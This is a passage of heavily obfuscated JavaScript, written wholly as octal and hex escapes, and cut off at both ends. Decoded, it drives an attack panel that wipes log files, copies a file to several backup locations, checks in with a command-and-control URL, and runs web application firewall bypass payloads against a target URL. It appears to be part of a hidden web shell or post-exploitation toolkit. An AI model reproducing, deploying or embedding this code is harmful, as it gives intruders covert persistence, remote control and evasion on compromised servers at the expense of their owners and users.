175\74\57\163\x74\162\x6f\x6e\x67\x3e\74\x62\162\x3e\xa\x9\11\x9\11\x9\x9\x9\x3c\x73\160\141\x6e\40\x73\164\171\154\145\75\42\143\x6f\154\157\x72\72\166\141\x72\50\x2d\55\x74\x65\170\x74\x2d\155\x65\x64\51\73\x22\x3e\x52\145\155\x6f\166\145\x64\72\x20\x24\173\151\x74\145\155\x2e\162\145\155\157\166\x65\144\x5f\154\x69\156\145\163\x7d\x20\x6c\151\x6e\145\x73\40\174\40\122\x65\x6d\x61\x69\x6e\x69\156\x67\72\40\44\173\151\x74\x65\x6d\x2e\x72\145\x6d\x61\x69\x6e\x69\156\x67\x5f\x6c\x69\156\145\x73\175\x20\x6c\x69\x6e\x65\x73\x3c\x2f\163\x70\x61\x6e\x3e\12\x9\11\x9\x9\x9\11\x3c\x2f\144\151\166\x3e\140\73\xa\11\11\11\11\x9\x7d\x29\73\xa\x9\11\11\x9\x7d\xa\11\11\x9\x9\xa\x9\11\x9\x9\151\146\x20\50\x72\x65\x73\56\145\x72\162\157\162\x73\40\46\46\40\x72\x65\x73\x2e\x65\162\162\157\162\163\x2e\x6c\x65\156\x67\x74\150\40\76\40\60\x29\40\x7b\xa\11\x9\x9\11\11\x68\164\x6d\154\40\53\75\x20\x27\74\150\64\40\163\164\171\x6c\145\x3d\42\143\157\x6c\x6f\x72\72\166\x61\162\x28\x2d\x2d\x61\x63\x63\x65\x6e\164\x2d\162\x65\x64\51\73\x20\x6d\141\162\x67\151\156\x2d\x74\x6f\160\x3a\x31\x72\145\x6d\73\x22\76\105\162\162\157\162\163\72\74\x2f\150\x34\x3e\x27\x3b\xa\x9\11\x9\11\11\x72\145\x73\56\145\x72\x72\x6f\162\x73\56\146\157\162\x45\141\143\150\50\x65\162\x72\x20\x3d\x3e\40\173\12\11\x9\11\x9\x9\11\x68\x74\x6d\x6c\40\53\x3d\40\140\74\160\x20\163\x74\171\x6c\145\x3d\x22\x63\157\154\x6f\162\x3a\166\141\x72\50\x2d\55\x61\x63\x63\x65\x6e\x74\x2d\x72\145\144\x29\x3b\x22\x3e\44\173\164\x68\x69\x73\x2e\145\x73\143\x61\160\145\x48\164\x6d\154\x28\145\x72\x72\51\175\74\57\x70\x3e\140\x3b\12\11\x9\x9\x9\x9\x7d\51\73\12\x9\x9\x9\11\175\12\11\x9\x9\11\12\x9\11\11\11\151\x66\x20\50\162\x65\163\165\154\164\163\105\154\x29\40\162\x65\163\165\154\x74\163\105\x6c\56\151\x6e\156\145\162\x48\x54\115\114\40\x3d\x20\x68\x74\155\x6c\x3b\xa\x9\x9\11\11\x74\150\151\163\56\164\x6f\141\x73\164\x28\x60\103\x6c\145\x61\x6e\145\144\x20\x24\x7b\x72\x65\163\56\x74\157\x74\141\x6c\x5f\x63\x6c\145\141\x6e\x65\144\175\40\154\x6f\147\40\x66\x69\x6c\145\x28\163\x29\x60\54\x20\x27\163\x75\x63\143\x65\x73\x73\47\x29\73\12\11\x9\11\x7d\40\x65\x6c\x73\x65\40\x7b\12\x9\x9\11\x9\x69\146\x20\x28\x72\x65\x73\165\154\x74\x73\105\x6c\51\x20\x72\145\x73\x75\154\x74\x73\105\154\x2e\x69\156\156\x65\x72\110\124\115\x4c\x20\x3d\40\x60\x3c\160\40\163\x74\x79\154\x65\x3d\x22\x63\x6f\154\157\162\x3a\166\141\162\50\55\55\x61\143\143\145\156\x74\55\162\145\x64\x29\x3b\42\x3e\xe2\235\x8c\40\44\173\162\145\x73\x3f\56\155\145\x73\x73\141\x67\145\40\x7c\x7c\40\47\x46\141\x69\x6c\145\144\40\x74\x6f\x20\143\x6c\x65\141\156\40\154\157\147\x73\x2e\47\175\x3c\57\x70\x3e\x60\x3b\12\x9\x9\11\x9\x74\x68\151\163\x2e\164\157\x61\x73\x74\50\x72\x65\163\x3f\56\x6d\145\163\163\141\x67\x65\40\174\x7c\40\47\x46\x61\151\x6c\145\144\x20\164\x6f\x20\143\x6c\145\141\156\x20\x6c\x6f\x67\x73\x2e\47\54\40\x27\x65\x72\162\x6f\162\x27\51\x3b\12\x9\x9\x9\175\12\x9\11\x7d\x2c\12\11\x9\xa\x9\11\x2f\57\40\115\x75\154\x74\151\55\114\x6f\x63\x61\164\x69\157\x6e\x20\x42\x61\143\153\165\160\12\x9\x9\141\163\171\156\x63\40\x6d\x75\154\x74\x69\114\157\x63\141\x74\x69\x6f\156\102\141\143\153\x75\160\50\x29\x20\x7b\xa\x9\11\x9\x63\157\156\x73\x74\x20\x73\157\165\162\x63\145\x46\151\154\x65\40\75\40\x64\x6f\x63\165\155\145\156\x74\x2e\147\x65\164\105\x6c\x65\155\145\156\x74\102\171\x49\x64\x28\x27\x6d\165\154\x74\151\x2d\x62\141\x63\x6b\165\x70\x2d\x73\157\x75\162\143\145\x27\x29\x3f\x2e\x76\x61\x6c\x75\x65\40\x7c\174\x20\x27\x27\73\xa\11\11\x9\x63\x6f\x6e\x73\x74\x20\x62\x61\143\153\x75\x70\x4c\x6f\143\141\164\x69\x6f\156\163\x20\75\x20\144\157\143\165\155\145\x6e\x74\x2e\147\x65\164\105\x6c\145\155\x65\x6e\164\x42\171\x49\x64\x28\x27\x6d\165\154\164\151\x2d\x62\x61\143\x6b\165\160\55\154\x6f\143\141\x74\151\157\x6e\x73\47\51\x3f\56\x76\x61\x6c\165\x65\40\x7c\174\x20\x27\47\73\12\11\x9\11\xa\x9\11\x9\151\x66\40\50\41\x73\157\165\x72\143\145\x46\151\x6c\x65\56\x74\162\151\155\x28\51\51\40\x7b\xa\x9\x9\x9\11\x74\x68\x69\163\x2e\164\157\141\x73\x74\50\47\123\157\165\162\143\145\x20\146\151\x6c\145\x20\151\x73\40\x72\145\x71\165\151\162\x65\x64\x2e\x27\54\40\47\145\162\162\157\x72\47\51\x3b\12\x9\x9\x9\11\x72\145\x74\165\162\x6e\73\12\x9\x9\x9\x7d\xa\x9\11\x9\xa\11\11\x9\x63\x6f\156\163\164\40\x72\145\x73\x75\154\164\163\105\x6c\40\75\x20\x64\x6f\143\165\x6d\x65\156\x74\56\x67\x65\164\x45\x6c\x65\x6d\x65\156\x74\102\171\111\x64\50\47\x6d\165\154\164\151\x2d\x62\x61\x63\153\165\x70\55\162\x65\x73\x75\x6c\164\163\47\51\x3b\12\x9\x9\x9\151\146\40\x28\162\145\163\165\x6c\x74\x73\x45\x6c\x29\40\162\145\x73\165\x6c\x74\x73\x45\154\56\151\x6e\156\145\162\x48\124\x4d\x4c\x20\x3d\40\x27\x3c\160\40\163\x74\x79\154\145\75\42\143\x6f\154\157\162\72\166\141\162\x28\55\55\141\x63\143\x65\156\x74\x2d\x67\157\x6c\x64\51\x3b\42\x3e\103\x72\x65\141\x74\151\156\x67\40\x62\x61\x63\x6b\165\160\x73\x2e\x2e\x2e\x3c\57\160\76\x27\73\xa\x9\11\x9\xa\x9\11\x9\143\x6f\156\163\x74\40\162\x65\163\x20\75\x20\141\x77\x61\x69\164\40\x74\x68\x69\163\x2e\x61\x70\151\x28\47\x6d\x75\154\164\x69\137\x6c\x6f\143\141\164\151\x6f\x6e\137\142\x61\x63\153\165\x70\47\x2c\x20\173\x20\163\157\x75\x72\x63\x65\x5f\x66\x69\x6c\x65\72\x20\x73\x6f\165\x72\x63\145\106\x69\x6c\145\x2c\40\x62\x61\x63\x6b\165\160\x5f\x6c\157\x63\141\164\x69\x6f\156\163\72\40\142\141\x63\x6b\165\160\x4c\x6f\x63\141\164\151\x6f\156\x73\40\175\51\73\12\x9\11\x9\xa\x9\x9\11\151\x66\40\x28\162\145\163\x20\x26\46\x20\162\145\163\56\x73\164\141\164\165\163\x20\x3d\x3d\x3d\x20\47\163\165\143\143\145\163\163\x27\51\40\x7b\12\x9\11\11\x9\x6c\x65\x74\40\x68\164\x6d\x6c\40\75\x20\x60\74\144\151\x76\40\x73\x74\171\154\x65\75\x22\x70\141\x64\x64\x69\156\147\72\61\x35\160\x78\73\40\x62\x61\143\x6b\147\162\157\x75\x6e\144\72\166\x61\x72\50\x2d\55\142\x67\55\x6c\151\x67\150\x74\x29\x3b\40\142\x6f\x72\x64\x65\162\x2d\162\x61\144\151\165\163\x3a\x36\x70\x78\73\40\x6d\x61\x72\x67\151\156\55\x62\x6f\164\164\157\155\x3a\61\162\145\155\x3b\x22\x3e\12\11\11\x9\11\x9\x3c\x73\164\162\157\x6e\x67\76\342\x9c\x85\40\123\x75\x63\143\x65\163\x73\x66\165\154\x6c\171\40\x62\141\143\x6b\145\144\x20\x75\x70\40\164\x6f\40\44\173\162\145\163\56\163\165\x63\x63\145\x73\163\137\143\x6f\165\x6e\164\x7d\x2f\44\x7b\x72\x65\163\56\164\x6f\x74\x61\154\175\x20\154\x6f\x63\141\164\x69\x6f\x6e\50\x73\x29\x3c\x2f\163\164\x72\157\x6e\x67\x3e\12\11\11\x9\x9\x3c\57\x64\151\x76\x3e\x60\x3b\12\11\11\x9\x9\12\x9\x9\11\11\x69\146\40\x28\x72\x65\x73\56\x62\141\143\x6b\x65\x64\x5f\165\160\40\x26\46\40\162\145\163\56\x62\x61\x63\153\145\144\137\165\160\x2e\154\145\x6e\x67\x74\x68\x20\76\40\x30\x29\x20\173\12\x9\x9\x9\x9\11\150\164\155\x6c\x20\x2b\x3d\x20\x27\74\x68\64\76\x42\x61\143\153\x75\160\40\x4c\x6f\143\x61\164\151\x6f\156\163\72\x3c\x2f\150\64\76\x27\73\xa\11\11\11\11\x9\x72\x65\163\x2e\x62\141\x63\153\145\x64\137\x75\x70\x2e\146\x6f\x72\x45\x61\143\150\x28\x6c\157\x63\x20\75\76\40\173\12\11\11\11\11\x9\x9\150\164\x6d\154\x20\53\75\x20\140\74\x64\x69\166\x20\x73\x74\x79\154\145\75\42\x70\141\x64\x64\151\156\x67\72\x31\x30\x70\x78\x3b\40\142\x61\x63\x6b\x67\x72\x6f\165\x6e\x64\72\166\141\x72\x28\55\55\142\147\55\144\x61\162\x6b\51\x3b\40\142\x6f\x72\x64\x65\162\x2d\x72\141\144\151\x75\163\x3a\x36\x70\x78\x3b\x20\155\141\x72\147\x69\x6e\55\x62\157\x74\x74\x6f\155\72\x30\56\65\162\145\x6d\73\x20\x66\x6f\x6e\164\x2d\146\141\155\x69\x6c\x79\x3a\155\157\x6e\x6f\163\x70\x61\143\145\x3b\42\x3e\12\11\11\11\x9\x9\11\x9\342\x9c\x85\40\44\x7b\164\150\x69\163\56\145\163\143\x61\160\x65\x48\164\x6d\154\x28\x6c\x6f\143\51\175\12\11\11\x9\x9\11\x9\74\x2f\x64\x69\x76\x3e\140\73\xa\x9\11\11\11\x9\x7d\x29\x3b\12\x9\x9\11\x9\x7d\xa\x9\11\x9\11\12\11\11\x9\x9\x69\x66\40\x28\162\145\163\56\146\141\151\x6c\145\x64\x20\46\x26\x20\162\145\163\56\146\x61\x69\x6c\x65\x64\56\154\145\156\147\x74\150\x20\76\x20\60\x29\x20\x7b\12\11\11\11\x9\x9\150\164\155\154\x20\53\x3d\x20\x27\x3c\x68\x34\40\x73\x74\x79\154\x65\75\42\143\157\154\157\x72\72\x76\141\x72\x28\x2d\55\141\143\143\145\156\164\55\162\145\x64\x29\x3b\40\155\x61\x72\x67\151\156\x2d\164\157\x70\72\x31\x72\x65\x6d\x3b\x22\76\x46\x61\151\154\145\144\40\x4c\x6f\x63\141\x74\x69\x6f\x6e\x73\x3a\74\x2f\x68\64\x3e\x27\x3b\12\x9\11\x9\x9\11\162\145\x73\56\146\141\x69\x6c\145\144\x2e\146\157\162\x45\141\143\x68\x28\154\157\143\40\75\x3e\x20\173\xa\x9\11\x9\11\11\11\150\164\x6d\154\40\x2b\x3d\40\x60\74\x64\x69\x76\40\x73\x74\171\154\145\x3d\42\160\x61\144\x64\x69\156\x67\x3a\x31\60\160\x78\73\40\142\x61\143\x6b\x67\x72\157\165\x6e\144\x3a\x76\141\162\50\x2d\55\x62\147\x2d\144\141\162\x6b\x29\x3b\x20\x62\157\x72\x64\x65\162\x2d\x72\x61\x64\151\x75\x73\x3a\x36\x70\x78\73\x20\x6d\x61\x72\147\151\156\x2d\142\x6f\x74\x74\x6f\155\72\60\56\x35\x72\x65\155\x3b\40\146\x6f\x6e\164\x2d\x66\141\155\x69\x6c\x79\72\x6d\x6f\x6e\157\x73\x70\141\143\145\73\x20\x63\x6f\154\157\x72\x3a\166\141\x72\50\55\55\x61\143\x63\145\x6e\x74\55\x72\x65\x64\51\x3b\x22\76\12\x9\11\11\11\11\11\11\342\x9d\x8c\40\x24\173\164\x68\151\x73\56\x65\163\x63\141\x70\145\110\x74\155\154\x28\x6c\x6f\x63\x29\175\12\11\x9\x9\x9\11\11\74\57\x64\x69\x76\x3e\140\73\12\x9\11\11\x9\11\x7d\x29\x3b\12\x9\x9\11\x9\x7d\xa\x9\x9\x9\x9\xa\x9\11\11\x9\151\146\x20\x28\x72\145\x73\165\x6c\164\x73\105\x6c\x29\40\162\x65\x73\165\x6c\x74\163\105\x6c\x2e\x69\156\x6e\x65\x72\110\124\115\114\40\x3d\x20\150\164\x6d\154\x3b\xa\x9\x9\x9\x9\164\x68\151\163\56\164\x6f\x61\163\164\50\x60\x42\141\143\153\145\x64\40\165\160\40\164\x6f\40\44\173\162\145\163\x2e\163\x75\143\143\145\x73\163\137\x63\x6f\165\156\164\x7d\x20\x6c\157\143\x61\164\x69\157\x6e\x28\163\51\140\54\40\x27\x73\x75\x63\x63\x65\x73\x73\x27\51\x3b\12\x9\x9\11\175\x20\x65\x6c\163\x65\40\x7b\xa\x9\x9\x9\11\151\146\40\50\162\145\163\x75\x6c\x74\x73\105\154\51\x20\162\145\163\165\154\164\163\105\154\x2e\x69\x6e\156\x65\x72\110\124\115\114\x20\75\40\x60\74\160\40\163\x74\171\x6c\x65\x3d\42\143\x6f\154\x6f\x72\x3a\x76\141\x72\50\55\55\141\143\x63\145\x6e\x74\x2d\162\x65\144\51\73\42\76\342\x9d\x8c\40\44\x7b\162\x65\x73\x3f\56\155\x65\x73\163\x61\147\x65\x20\174\x7c\40\x27\x46\141\x69\x6c\145\144\40\164\157\40\x63\162\145\x61\164\x65\40\142\x61\143\x6b\165\x70\x73\x2e\x27\x7d\74\57\x70\x3e\140\73\12\11\x9\11\11\164\150\151\x73\56\164\157\141\x73\x74\50\162\x65\x73\77\x2e\x6d\145\163\163\141\147\x65\x20\x7c\x7c\x20\47\106\141\x69\154\145\144\40\164\x6f\40\143\162\x65\x61\164\145\40\x62\x61\143\153\x75\160\163\x2e\x27\54\40\47\145\162\x72\x6f\162\x27\x29\x3b\xa\x9\11\x9\x7d\xa\x9\x9\x7d\54\xa\x9\11\xa\11\11\x2f\57\x20\x43\x32\x20\x43\157\155\155\165\x6e\x69\143\x61\x74\151\157\x6e\xa\11\x9\141\x73\171\x6e\x63\x20\x63\62\x43\157\x6d\x6d\165\x6e\x69\143\141\x74\145\50\51\40\x7b\xa\x9\11\x9\x63\x6f\x6e\x73\x74\x20\143\x32\125\162\154\x20\x3d\40\x64\157\143\165\155\145\156\164\56\147\x65\x74\x45\x6c\x65\155\145\x6e\x74\102\171\111\x64\x28\x27\x63\x32\55\x75\x72\x6c\x27\51\77\x2e\166\x61\x6c\165\145\40\x7c\x7c\40\x27\x27\73\12\x9\x9\x9\x63\157\156\x73\164\40\141\143\x74\x69\x6f\x6e\40\75\x20\x64\157\x63\x75\155\145\156\164\x2e\147\x65\x74\x45\154\x65\155\145\x6e\164\102\171\x49\x64\x28\47\143\x32\x2d\x61\143\164\x69\x6f\156\47\51\x3f\x2e\x76\141\x6c\165\x65\x20\174\174\40\47\x63\150\145\143\153\x69\156\47\73\12\x9\x9\11\143\x6f\156\163\164\40\144\141\x74\x61\40\x3d\x20\x64\157\143\x75\155\x65\156\x74\56\x67\145\164\105\154\145\155\x65\x6e\164\102\171\x49\144\50\x27\143\62\x2d\x64\x61\x74\x61\47\x29\77\x2e\166\141\154\165\145\x20\174\174\x20\x27\47\73\12\x9\11\x9\12\x9\x9\x9\x69\146\x20\50\41\x63\x32\125\162\x6c\x2e\164\162\x69\x6d\50\51\51\x20\173\12\x9\11\x9\11\164\x68\151\x73\x2e\x74\x6f\141\x73\164\50\x27\x43\62\40\125\x52\114\x20\151\x73\x20\x72\x65\x71\165\151\162\145\144\56\47\x2c\x20\47\145\x72\x72\157\x72\47\51\x3b\12\11\x9\11\x9\x72\x65\x74\x75\x72\x6e\73\xa\x9\11\11\x7d\12\x9\x9\11\12\x9\x9\x9\x63\x6f\x6e\163\164\40\x72\145\163\x75\154\164\x73\105\154\40\75\x20\x64\x6f\143\165\155\x65\x6e\x74\x2e\x67\145\x74\x45\x6c\145\x6d\x65\x6e\x74\x42\171\111\x64\x28\47\x63\x32\55\x72\145\x73\165\x6c\x74\163\x27\x29\73\xa\x9\11\x9\x69\x66\40\50\162\x65\x73\165\154\x74\x73\x45\x6c\x29\x20\x72\145\163\165\x6c\x74\x73\105\154\x2e\x69\156\156\145\x72\110\x54\115\114\x20\x3d\x20\x27\x3c\160\x20\x73\164\x79\x6c\x65\x3d\42\x63\157\154\157\x72\x3a\166\x61\x72\50\x2d\x2d\141\x63\x63\x65\156\164\55\x67\157\x6c\x64\51\73\x22\x3e\103\157\155\x6d\165\156\x69\x63\x61\164\151\156\x67\x20\167\151\164\150\x20\x43\x32\56\x2e\56\x3c\57\x70\x3e\x27\x3b\12\11\x9\11\xa\x9\11\11\143\x6f\156\x73\x74\40\x72\x65\163\x20\x3d\x20\141\x77\x61\x69\x74\x20\164\x68\151\163\x2e\x61\x70\151\50\47\x63\x32\x5f\143\157\155\155\165\156\151\143\x61\164\145\x27\x2c\40\x7b\40\x63\62\x5f\x75\x72\x6c\72\40\143\x32\x55\162\x6c\54\x20\141\x63\164\151\x6f\156\x3a\40\x61\x63\x74\151\x6f\x6e\54\40\144\x61\x74\x61\x3a\40\x64\x61\164\141\40\175\x29\73\12\11\11\x9\xa\x9\x9\x9\x69\146\40\x28\x72\x65\x73\40\46\46\x20\162\145\163\56\163\164\141\164\165\x73\40\x3d\75\x3d\x20\47\x73\x75\143\143\x65\163\x73\47\51\x20\x7b\12\11\x9\11\x9\154\x65\x74\x20\150\164\x6d\x6c\40\x3d\40\140\x3c\144\x69\x76\x20\163\164\171\154\145\x3d\42\x70\x61\x64\144\151\x6e\x67\72\61\65\x70\x78\73\40\x62\x61\143\x6b\x67\x72\157\x75\x6e\144\72\166\x61\x72\50\x2d\x2d\142\x67\x2d\154\151\x67\x68\164\51\x3b\x20\142\157\162\144\145\x72\x2d\162\x61\144\x69\x75\x73\72\66\x70\x78\73\x20\155\141\x72\147\151\x6e\x2d\142\x6f\164\164\x6f\x6d\x3a\61\162\145\155\x3b\x22\76\xa\x9\11\11\x9\11\x3c\163\x74\x72\x6f\x6e\147\x3e\xe2\234\x85\x20\x43\157\x6d\155\165\156\151\143\x61\x74\x69\x6f\156\40\163\x75\143\143\x65\x73\163\146\165\154\40\50\x48\x54\x54\x50\40\x24\x7b\162\145\163\56\150\164\164\x70\x5f\143\157\x64\x65\175\x29\74\57\x73\164\x72\x6f\156\x67\76\12\x9\11\11\x9\74\x2f\x64\x69\x76\76\xa\x9\x9\x9\x9\74\150\64\x3e\122\145\163\160\157\x6e\163\145\x3a\74\x2f\x68\64\76\12\x9\x9\11\x9\x3c\x70\162\x65\40\x63\154\141\x73\163\75\x22\x6f\165\164\160\x75\164\55\x62\157\x78\42\x20\x73\x74\171\x6c\145\x3d\42\x6d\x61\170\55\x68\145\x69\x67\x68\164\72\x34\60\x30\x70\170\x3b\40\x6f\x76\145\162\146\x6c\x6f\x77\x2d\171\x3a\x61\165\164\157\73\42\76\x24\173\x74\x68\x69\x73\x2e\x65\163\143\141\160\145\110\x74\x6d\154\x28\x72\x65\163\56\x72\x65\163\x70\157\x6e\163\x65\51\x7d\74\x2f\x70\x72\x65\76\12\x9\11\11\x9\x3c\x68\64\x20\x73\x74\x79\154\145\75\x22\155\141\x72\x67\x69\x6e\55\164\x6f\x70\x3a\x31\162\145\x6d\x3b\x22\x3e\120\141\x79\x6c\x6f\141\x64\40\123\145\x6e\x74\72\74\57\x68\x34\76\xa\x9\x9\11\11\x3c\160\162\x65\x20\x63\154\141\x73\163\75\42\157\165\164\160\165\164\55\142\x6f\170\42\40\x73\164\x79\x6c\145\x3d\x22\x6d\x61\x78\x2d\x68\145\x69\x67\x68\x74\72\x33\60\60\160\170\73\40\157\x76\x65\x72\x66\x6c\157\x77\x2d\x79\72\x61\165\x74\x6f\x3b\x22\x3e\x24\173\112\x53\x4f\x4e\x2e\163\164\162\x69\156\x67\151\x66\x79\50\162\145\x73\56\x70\x61\x79\x6c\157\x61\144\x5f\163\x65\x6e\164\x2c\40\156\165\154\x6c\x2c\x20\62\51\x7d\74\x2f\160\162\145\76\x60\x3b\12\x9\11\11\x9\12\x9\11\11\11\151\x66\40\x28\x72\145\x73\x75\154\164\163\105\154\51\x20\162\145\163\x75\154\164\163\105\154\56\x69\x6e\156\145\162\110\124\x4d\114\x20\x3d\x20\150\164\x6d\154\x3b\xa\11\11\11\x9\x74\150\x69\x73\56\x74\x6f\141\163\164\50\x27\103\x32\40\143\x6f\155\x6d\x75\x6e\151\x63\x61\x74\x69\157\x6e\40\163\x75\143\x63\145\x73\163\x66\165\x6c\x21\47\54\40\47\x73\x75\143\x63\x65\x73\163\47\x29\73\12\x9\x9\11\x7d\40\x65\x6c\163\145\x20\173\12\x9\x9\11\11\x69\x66\x20\x28\162\145\x73\165\154\164\163\x45\x6c\51\40\162\145\163\x75\154\x74\x73\105\154\x2e\151\x6e\156\x65\162\x48\x54\115\x4c\40\x3d\40\x60\x3c\160\x20\x73\x74\171\154\145\x3d\42\x63\x6f\154\x6f\x72\x3a\x76\141\x72\x28\x2d\55\141\143\143\145\156\x74\x2d\162\145\x64\51\x3b\x22\76\342\235\214\40\x24\173\162\x65\163\x3f\x2e\155\x65\163\x73\141\x67\x65\x20\174\174\x20\x27\103\62\x20\x63\x6f\x6d\155\165\156\151\143\x61\164\x69\157\x6e\x20\146\x61\151\154\x65\x64\56\x27\175\74\x2f\x70\x3e\140\x3b\xa\x9\x9\11\x9\164\150\x69\163\56\x74\x6f\x61\x73\164\x28\162\145\163\77\x2e\155\145\163\x73\x61\x67\x65\40\x7c\174\40\47\103\62\40\x63\157\155\x6d\165\x6e\x69\x63\x61\164\x69\157\x6e\x20\x66\x61\x69\x6c\x65\144\56\47\x2c\40\47\145\x72\162\157\x72\47\x29\73\12\11\x9\11\x7d\12\11\x9\175\x2c\xa\11\11\xa\x9\11\x2f\x2f\40\x57\101\x46\x20\x42\171\x70\x61\163\163\x20\x54\145\163\x74\xa\11\11\x61\x73\171\156\143\40\167\x61\146\x42\171\x70\x61\163\x73\124\x65\x73\164\x28\51\x20\173\12\11\x9\11\x63\157\x6e\163\x74\x20\x74\141\162\x67\145\164\x55\x72\x6c\40\75\40\x64\x6f\143\165\155\x65\x6e\164\56\147\145\164\105\x6c\145\x6d\x65\x6e\164\102\x79\x49\x64\x28\47\x77\x61\146\x2d\164\x61\162\147\x65\x74\55\x75\162\x6c\x27\51\77\56\166\141\154\x75\145\40\x7c\174\x20\47\47\x3b\xa\x9\x9\11\x63\x6f\x6e\x73\x74\40\x70\x61\x79\154\157\141\144\x20\x3d\40\144\x6f\143\165\155\145\156\x74\56\x67\x65\164\105\154\x65\155\x65\156\164\x42\171\111\x64\50\x27\167\141\146\x2d\x70\141\x79\154\157\x61\x64\x27\x29\77\56\166\x61\x6c\x75\145\40\174\x7c\40\x27\x27\x3b\12\x9\x9\11\x63\157\156\163\164\x20\x74\145\143\x68\x6e\x69\x71\x75\145\x20\75\40\x64\x6f\x63\165\155\x65\156\x74\x2e\147\x65\x74\x45\x6c\x65\x6d\145\156\164\102\x79\x49\x64\50\x27\x77\x61\146\55\x74\145\143\150\156\151\x71\165\x65\47\x29\77\x2e\166\141\x6c\x75\145\x20\x7c\174\x20\47\141\154\x6c\x27\x3b\xa\11\11\x9\12\11\x9\11\x69\146\x20\50\x21\x74\x61\162\147\145\x74\x55\x72\x6c\x2e\x74\x72\x69\x6d\50\51\x20\174\174\x20\41\x70\x61\x79\x6c\x6f\141\144\x2e\x74\x72\151\155\x28\x29\51\x20\173\12\11\11\11\11\x74\x68\151\163\x2e\x74\157\x61\163\x74\50\x27\124\141\x72\147\145\x74\40\125\122\x4c\x20\141\x6e\x64\x20\160\141\x79\154\x6f\141\x64\40\141\162\x65\x20\162\x65\161\x75\x69\162\145\144\56\47\54\x20\x27\145\x72\162\x6f\162\x27\x29\x3b\xa\11\x9\11\11\11\x72\145\x74\x75\162\x6e\x3b\12\11\x9\11\x9\x7d\12\11\x9\11\xa\x9\x9\11\x63\157\156\163\164\40\x72\x65\x73\x75\x6c\164\163\x45\154\x20\75\40\x64\157\x63\165\155\x65\156\164\56\x67\145\x74\105\154\x65\155\x65\x6e\164\x42\171\x49\x64\x28\47\167\x61\146\55\142\x79\160\141\x73\163\55\x72\145\x73\x75\x6c\x74\163\47\x29\x3b\12\x9\11\11\151\146\40\50\x72\145\163\165\154\x74\163\105\x6c\51\40\x72\x65\x73\x75\154\x74\163\x45\154\x2e\x69\156\x6e\145\x72\x48\x54\115\114\40\x3d\40\47\74\x70\x20\x73\164\171\154\x65\75\42\x63\157\154\157\x72\x3a\x76\141\x72\50\55\x2d\x61\x63\x63\145\x6e\x74\x2d\147\157\154\144\51\73\x22\76\x54\x65\163\x74\x69\156\x67\40\x62\171\x70\141\x73\x73\x20\164\145\143\x68\156\151\161\x75\145\x73\x2e\x2e\56\x3c\57\x70\76\47\73\xa\x9\x9\11\xa\11\x9\x9\x63\157\156\163\164\x20\x72\x65\163\x20\x3d\x20\141\167\141\x69\164\x20\164\150\151\x73\x2e\141\160\151\50\x27\167\x61\x66\x5f\x62\x79\160\x61\x73\163\x5f\x74\x65\x73\164\47\54\40\173\x20\164\141\162\147\x65\164\137\165\162\x6c\x3a\x20\164\141\162\147\x65\164\x55\162\154\54\40\x70\x61\x79\154\157\141\144\72\x20\x70\141\x79\154\157\141\x64\54\x20\164\x65\x63\150\x6e\x69\161\165\x65\x3a\x20\164\145\x63\150\156\x69\x71\165\145\x20\x7d\51\73\12\x9\11\11\xa\x9\x9\x9\151\146\x20\50\x72\145\163\40\46\x26\40\162\x65\x73\x2e\163\164\x61\x74\x75\163\x20\x3d\75\75\x20\47\163\165\143\143\x65\163\x73\x27\51\x20\x7b\12\11\x9\11\x9\x6c\145\x74\x20\150\x74\155\x6c\40\x3d\40\x60\x3c\x64\151\166\40\163\164\171\x6c\x65\75\x22\160\141\x64\144\x69\156\147\72\x31\x35\x70\x78\x3b\40\x62\141\143\x6b\147\162\157\x75\156\144\72\166\x61\162\x28\x2d\55\x62\147\55\154\151\x67\150\164\x29\73\x20\x62\x6f\162\144\x65\162\x2d\x72\x61\x64\x69\x75\x73\x3a\x36\x70\x78\73\x20\x6d\x61\x72\147\151\x6e\x2d\142\157\164\164\157\x6d\x3a\61\162\145\155\x3b\x22\76\xa\11\11\x9\11\11\x3c\163\164\x72\157\x6e\x67\76\342\x9c\x85\x20\124\x65\163\x74\145\144\x20\x24\x7b\x72\145\163\56\164\157\x74\141\x6c\x5f\164\x65\x73\164\145\x64\175\x20\x74\x65\x63\150\x6e\x69\161\165\145\50\x73\51\74\57\x73\164\x72\x6f\x6e\x67\76\12\x9\x9\x9\x9\x3c\x2f\x64\x69\166\76\12\11\11\x9\11\74\164\141\142\154\x65\x20\x63\x6c\141\163\x73\x3d\x22\x72\x65\x73\165\154\164\163\x2d\164\x61\x62\154\145\42\40\163\x74\171\154\x65\x3d\42\x6d\141\x72\147\151\156\55\164\x6f\160\72\61\162\145\x6d\73\42\x3e\12\x9\11\11\11\11\74\x74\150\145\x61\144\76\x3c\164\162\76\74\164\150\x3e\x54\x65\x63\x68\156\x69\161\x75\145\x3c\x2f\164\x68\x3e\x3c\x74\150\x3e\x50\141\171\x6c\x6f\141\x64\x3c\57\164\150\x3e\74\164\x68\x3e\x48\124\x54\120\40\x43\x6f\144\145\x3c\57\x74\150\x3e\74\164\x68\76\102\x6c\x6f\x63\153\145\x64\74\x2f\164\150\x3e\74\x2f\164\x72\x3e\x3c\x2f\x74\150\145\141\x64\76\xa\11\x9\11\11\x9\x3c\164\142\157\144\171\x3e\x60\73\12\x9\11\x9\x9\12\11\x9\x9\x9\x72\145\163\56\x72\x65\x73\165\154\x74\163\x2e\146\157\x72\x45\x61\143\x68\50\162\x65\x73\x75\154\x74\x20\75\76\40\x7b\12\11\x9\x9\x9\11\x63\x6f\x6e\163\164\x20\x62\x6c\x6f\x63\x6b\145\144\40\75\x20\162\x65\x73\165\x6c\164\56\142\x6c\x6f\143\x6b\145\144\40\x3f\x20\47\xe2\x9d\214\x20\131\x65\163\47\x20\x3a\x20\x27\342\x9c\205\40\116\157\x27\73\12\11\11\11\11\x9\x68\x74\x6d\x6c\x20\x2b\75\40\140\74\164\162\76\12\11\11\11\11\x9\11\74\x74\144\76\x24\173\x74\x68\x69\x73\56\x65\163\x63\x61\160\x65\x48\164\155\x6c\50\162\x65\163\x75\x6c\164\56\x74\x65\143\150\x6e\x69\161\165\x65\51\175\74\x2f\x74\144\x3e\12\x9\x9\x9\11\11\11\x3c\x74\144\x20\163\164\171\154\x65\75\x22\x66\157\156\164\x2d\146\141\155\151\154\x79\72\x6d\157\x6e\x6f\x73\160\x61\143\x65\73\x20\146\157\156\164\x2d\x73\151\x7a\x65\x3a\x30\56\x38\x35\162\145\155\x3b\x20\167\157\x72\x64\x2d\x62\x72\x65\x61\x6b\72\142\162\145\x61\153\x2d\141\154\154\73\x22\x3e\44\173\x74\x68\151\x73\x2e\145\163\143\x61\160\145\x48\164\x6d